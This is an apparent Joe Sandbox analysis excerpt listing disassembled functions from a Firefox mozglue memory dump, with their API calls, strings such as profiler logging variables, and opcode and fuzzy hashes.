Instruction Fuzzy Hash: A731C4707442055BFB01EFEA8C46B6E7B75AB85759F20441DF611ABF80DB70E500CBA6

Function 6C59ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C59F100: LoadLibraryW.KERNEL32(shell32,?,6C60D020), ref: 6C59F122
Part of subcall function 6C59F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C59F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C59ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C59EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C59EDCC
CreateFileW.KERNEL32 ref: 6C59EE08
free.MOZGLUE(00000000), ref: 6C59EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C59EE32

Part of subcall function 6C59EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C59EBB5
Part of subcall function 6C59EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C5CD7F3), ref: 6C59EBC3
Part of subcall function 6C59EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C5CD7F3), ref: 6C59EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C59EDC1

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 92f917ad1bbdee502c470535e9084229cd44d65fe6f24f8090e864960f7fb5f3
Instruction ID: 24717e192b779a9fa2850f90194d48d558186a95d701bcc9d5c43d9d713e2fc2
Opcode Fuzzy Hash: 92f917ad1bbdee502c470535e9084229cd44d65fe6f24f8090e864960f7fb5f3
Instruction Fuzzy Hash: 8B51C171E05344DBDB00DF68CC856AEB7B0BF49318F44896DE8556BB80E771AD48C7A2

Function 6C60A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C60A565

Part of subcall function 6C60A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C60A4BE
Part of subcall function 6C60A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C60A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C60A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C60A6B6

Strings

z, xrefs: 6C60A6AE
0, xrefs: 6C60A5FB

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 825ec437645ac18db6f704bfb5d5bb5b4850c74053a2174fe4db04b6d82a127d
Instruction ID: 349f66eb333e244fe04ec522392c37c522cc276defdded5837758c8b83019b06
Opcode Fuzzy Hash: 825ec437645ac18db6f704bfb5d5bb5b4850c74053a2174fe4db04b6d82a127d
Instruction Fuzzy Hash: DE412671A187459FC345DF28C480A8FBBF4BF89354F408A2EE49997651EB30D949CB86

Function 6C5D9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C5CAB89: EnterCriticalSection.KERNEL32(6C61E370,?,?,?,6C5934DE,6C61F6CC,?,?,?,?,?,?,?,6C593284), ref: 6C5CAB94
Part of subcall function 6C5CAB89: LeaveCriticalSection.KERNEL32(6C61E370,?,6C5934DE,6C61F6CC,?,?,?,?,?,?,?,6C593284,?,?,6C5B56F6), ref: 6C5CABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5A4A68), ref: 6C5D945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5D9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5D9482
__Init_thread_footer.LIBCMT ref: 6C5D949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5D9459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5D946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5D947D

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: d6c532145a4ad995e6b69e1e4ac3313ed90938a8d25e801fb016ed40f7a657b1
Instruction ID: 84463ca66c868b2c6b4c28ac0937c4d9dc9712efa13eea822d3dba753d64b3e2
Opcode Fuzzy Hash: d6c532145a4ad995e6b69e1e4ac3313ed90938a8d25e801fb016ed40f7a657b1
Instruction Fuzzy Hash: 5C01B570A042019BE700DBAFEC66A493275AB4532FF05453BE906C6F43DA23E955895F

Function 6C5E0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5E0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5E0F88
GetCurrentThreadId.KERNEL32 ref: 6C5E0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C5E1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C5E10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C5E114B

Part of subcall function 6C5D8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C5F1563), ref: 6C5D8BD5

free.MOZGLUE(?), ref: 6C5E1174
free.MOZGLUE(?), ref: 6C5E1186

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: da370d7ffe68051598d69d00cad3467699d41372fde695a366f5c51347ebb85b
Instruction ID: 3b0024a8c1f680bbedc23f7a5547afb3c567b57d45c2e7a5e14298380c9ff0a1
Opcode Fuzzy Hash: da370d7ffe68051598d69d00cad3467699d41372fde695a366f5c51347ebb85b
Instruction Fuzzy Hash: 14618C75A043409BDB14CF25DC8079AB7F6BFC9308F04891DE89957712EB71E959CB82

Function 6C59B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C59B61E,?,?,?,?,?,00000000), ref: 6C59B6AC

Part of subcall function 6C5ACA10: malloc.MOZGLUE(?), ref: 6C5ACA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C59B61E,?,?,?,?,?,00000000), ref: 6C59B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C59B61E,?,?,?,?,?,00000000), ref: 6C59B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C59B61E,?,?,?,?,?,00000000), ref: 6C59B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C59B61E,?,?,?,?,?,00000000), ref: 6C59B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C59B61E), ref: 6C59B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C59B61E,?,?,?,?,?,00000000), ref: 6C59B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C59B61E,?,?,?,?,?,00000000), ref: 6C59B79A

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 8f89104ebac3de0334da0c30fc9dffd1dd3e09f6caf0505b3c0ecb4ad707eb30
Instruction ID: ccb827f66e331067ae24f8c7809a409468326ea99471ee5dea8b6f1ff4ca630a
Opcode Fuzzy Hash: 8f89104ebac3de0334da0c30fc9dffd1dd3e09f6caf0505b3c0ecb4ad707eb30
Instruction Fuzzy Hash: 4F41B4B2D001559FDB14EF68DC806AEB7B9FB85324F250669E825E7780E731AD0487E1

Function 6C59EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C615104), ref: 6C59EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C59EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C59EFEC
free.MOZGLUE(?), ref: 6C59F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C59F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C59F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59F065
moz_xmalloc.MOZGLUE ref: 6C59F072

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 11660f69f785820654c4fe6e48ff05b832da1ef5572bd20463fc0e8abff78f7d
Instruction ID: ede6ca980bc9bf8938d3dd3037f7717c1c6cd7cd846c78913c57e5f9adbbaceb
Opcode Fuzzy Hash: 11660f69f785820654c4fe6e48ff05b832da1ef5572bd20463fc0e8abff78f7d
Instruction Fuzzy Hash: 5441F6B1A002059FCB08CF68DC809AE7769FF85324B24076DE916DB794EB71E905C7E1

Function 6C60B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C60B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C60B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C60B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C60B5F4
__Init_thread_footer.LIBCMT ref: 6C60B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C60B61F
std::_Facet_Register.LIBCPMT ref: 6C60B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C60B655

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: c4040f0484b21e4c5a6025599f23e4899c4d544b65dc252c41f9486b2a5fc298
Instruction ID: 64e589aca93c3eeeb4a4bd62fc4c8043edf2e0f93cb9cd77ee9f227aedd950cd
Opcode Fuzzy Hash: c4040f0484b21e4c5a6025599f23e4899c4d544b65dc252c41f9486b2a5fc298
Instruction Fuzzy Hash: 9D31A8B1F00104CBCB04DF5EC9959AEB7F5EBC5316F14455AD506A7B40DB30A806CF9A

Function 6C5D6590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C5CFA80: GetCurrentThreadId.KERNEL32 ref: 6C5CFA8D
Part of subcall function 6C5CFA80: AcquireSRWLockExclusive.KERNEL32(6C61F448), ref: 6C5CFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5D6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5D67C8

Part of subcall function 6C5E4290: memcpy.VCRUNTIME140(?,?,6C5F2003,6C5F0AD9,?,6C5F0AD9,00000000,?,6C5F0AD9,?,00000004,?,6C5F1A62,?,6C5F2003,?), ref: 6C5E42C4

Strings

val, xrefs: 6C5D696C
data, xrefs: 6C5D6593

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$val
API String ID: 511789754-1785192102
Opcode ID: dd2adf68962eac3296ca5c8d589aee583b9914a538b5fefb9a538e003cc89e2b
Instruction ID: d63c1e12b26867a8bbce9b1202c492076f481b32dbd0f5345c9adb98759c1657
Opcode Fuzzy Hash: dd2adf68962eac3296ca5c8d589aee583b9914a538b5fefb9a538e003cc89e2b
Instruction Fuzzy Hash: 0BD1CD75A08340CFD724CF69CC51B9EBBE1AFD5308F10492EE58997B51EB30A84ACB56

Function 6C5CD5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C59EB57,?,?,?,?,?,?,?,?,?), ref: 6C5CD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C59EB57,?), ref: 6C5CD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C59EB57,?), ref: 6C5CD673
free.MOZGLUE(?), ref: 6C5CD888

Strings

|Enabled, xrefs: 6C5CD81E
WYl, xrefs: 6C5CD5D9, 6C5CD63F

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WYl$|Enabled
API String ID: 4142949111-531723452
Opcode ID: cda409da5d52ec621bc725aa02a5500ef5d6140e2546326e9b58f44368670288
Instruction ID: 9a32f51c3ea0a07392df3ed88936536a144d272a0de4ac130ba75cd90b36eb22
Opcode Fuzzy Hash: cda409da5d52ec621bc725aa02a5500ef5d6140e2546326e9b58f44368670288
Instruction Fuzzy Hash: B0A1D170B04244CFDB11CFA9C8D07AEBBF1AF49318F14845DD899ABB41D735A845CBA2

Function 6C5A9830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C5F7ABE), ref: 6C5A985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C5F7ABE), ref: 6C5A98A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C5A9909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C5A9918
free.MOZGLUE(?), ref: 6C5A9975

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: a52b40bf4ef0f636821b10a853b92a3b0ca1b957cd5c362f456d867a56398cd9
Instruction ID: b975500d312cabd73b6c57229ba1ce46bc53bcf38f5e58a8b17915cb9613cd83
Opcode Fuzzy Hash: a52b40bf4ef0f636821b10a853b92a3b0ca1b957cd5c362f456d867a56398cd9
Instruction Fuzzy Hash: 81719E746007168FC719CF69C88095AB7F1FF8A3247644A5DD85A8BB90D732F842CB51

Function 6C5AB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C5ECC83,?,?,?,?,?,?,?,?,?,6C5EBCAE,?,?,6C5DDC2C), ref: 6C5AB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C5ECC83,?,?,?,?,?,?,?,?,?,6C5EBCAE,?,?,6C5DDC2C), ref: 6C5AB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C5ECC83,?,?,?,?,?,?,?,?,?,6C5EBCAE), ref: 6C5AB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C5ECC83,?,?,?,?,?,?,?,?,?,6C5EBCAE,?,?,6C5DDC2C), ref: 6C5AB896

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 6e6e7308fa8d11cc8003b377bf71b8b57e8ab462d2c96b55142f0f47a72880d4
Instruction ID: 8a2b1c5cf4014216a103f0a3690ffa5c0ebcafb82ec6e1994b750bb0b050d30f
Opcode Fuzzy Hash: 6e6e7308fa8d11cc8003b377bf71b8b57e8ab462d2c96b55142f0f47a72880d4
Instruction Fuzzy Hash: 75518C75B002058FDB18DF9EC894A2EB7F1FF89318B59895DE98697751C731E802CB84

Function 6C5E1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5E1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C5E1BE3,?,?,6C5E1D96,00000000), ref: 6C5E1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C5E1BE3,?,?,6C5E1D96,00000000), ref: 6C5E1D4C
GetCurrentThreadId.KERNEL32 ref: 6C5E1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5E1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5E1DDA

Part of subcall function 6C5E1EF0: GetCurrentThreadId.KERNEL32 ref: 6C5E1F03
Part of subcall function 6C5E1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C5E1DF2,00000000,00000000), ref: 6C5E1F0C
Part of subcall function 6C5E1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C5E1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C5E1DF4

Part of subcall function 6C5ACA10: malloc.MOZGLUE(?), ref: 6C5ACA26

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: d3f7ce4d8e1b8a9d5f83718abddce393a78cd9ce57d7abd407c78e23db0ec42e
Instruction ID: 8648a517d5d160259167e3cc49cf7ee66037f490568a60b2f4a7e441b35bacdc
Opcode Fuzzy Hash: d3f7ce4d8e1b8a9d5f83718abddce393a78cd9ce57d7abd407c78e23db0ec42e
Instruction Fuzzy Hash: DD4189B56007009FCB14DF2AC889A5ABBF9FB89315F10442EE95A87B42CB71F814CB95

Function 6C5D84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5D84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5D850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5D851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5D855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5D856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5D85AC

Part of subcall function 6C5D7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5D85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5D767F
Part of subcall function 6C5D7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5D85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5D7693
Part of subcall function 6C5D7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5D85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5D76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5D85B2

Part of subcall function 6C5B5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5B5EDB
Part of subcall function 6C5B5E90: memset.VCRUNTIME140(ew_l,000000E5,?), ref: 6C5B5F27
Part of subcall function 6C5B5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5B5FB2

Memory Dump Source

Source File: 00000000.00000002.2481672343.000000006C591000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2481654341.000000006C590000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481755461.000000006C60D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481778016.000000006C61E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2481802720.000000006C622000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: be18db9a69767bfb5c11e187b2817bd898a74ccf430397a2c9682ce1445c63cd
Instruction ID: ce466a214edec7de781bd0f6becd4c58c92bb286b822faf73dec76bd21271852
Opcode Fuzzy Hash: be18db9a69767bfb5c11e187b2817bd898a74ccf430397a2c9682ce1445c63cd
Instruction Fuzzy Hash: AE217F74200701AFDB14DB2DCC88A5AB7B5AF8430EF15482DE55B83B42DB35F948CB9A

Function 6C5A1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5A1699
VerSetConditionMask.NTDLL ref: 6C5A16CB
VerSetConditionMask.NTDLL ref: 6C5A16D7
VerSetConditionMask.NTDLL ref: 6C5A16DE
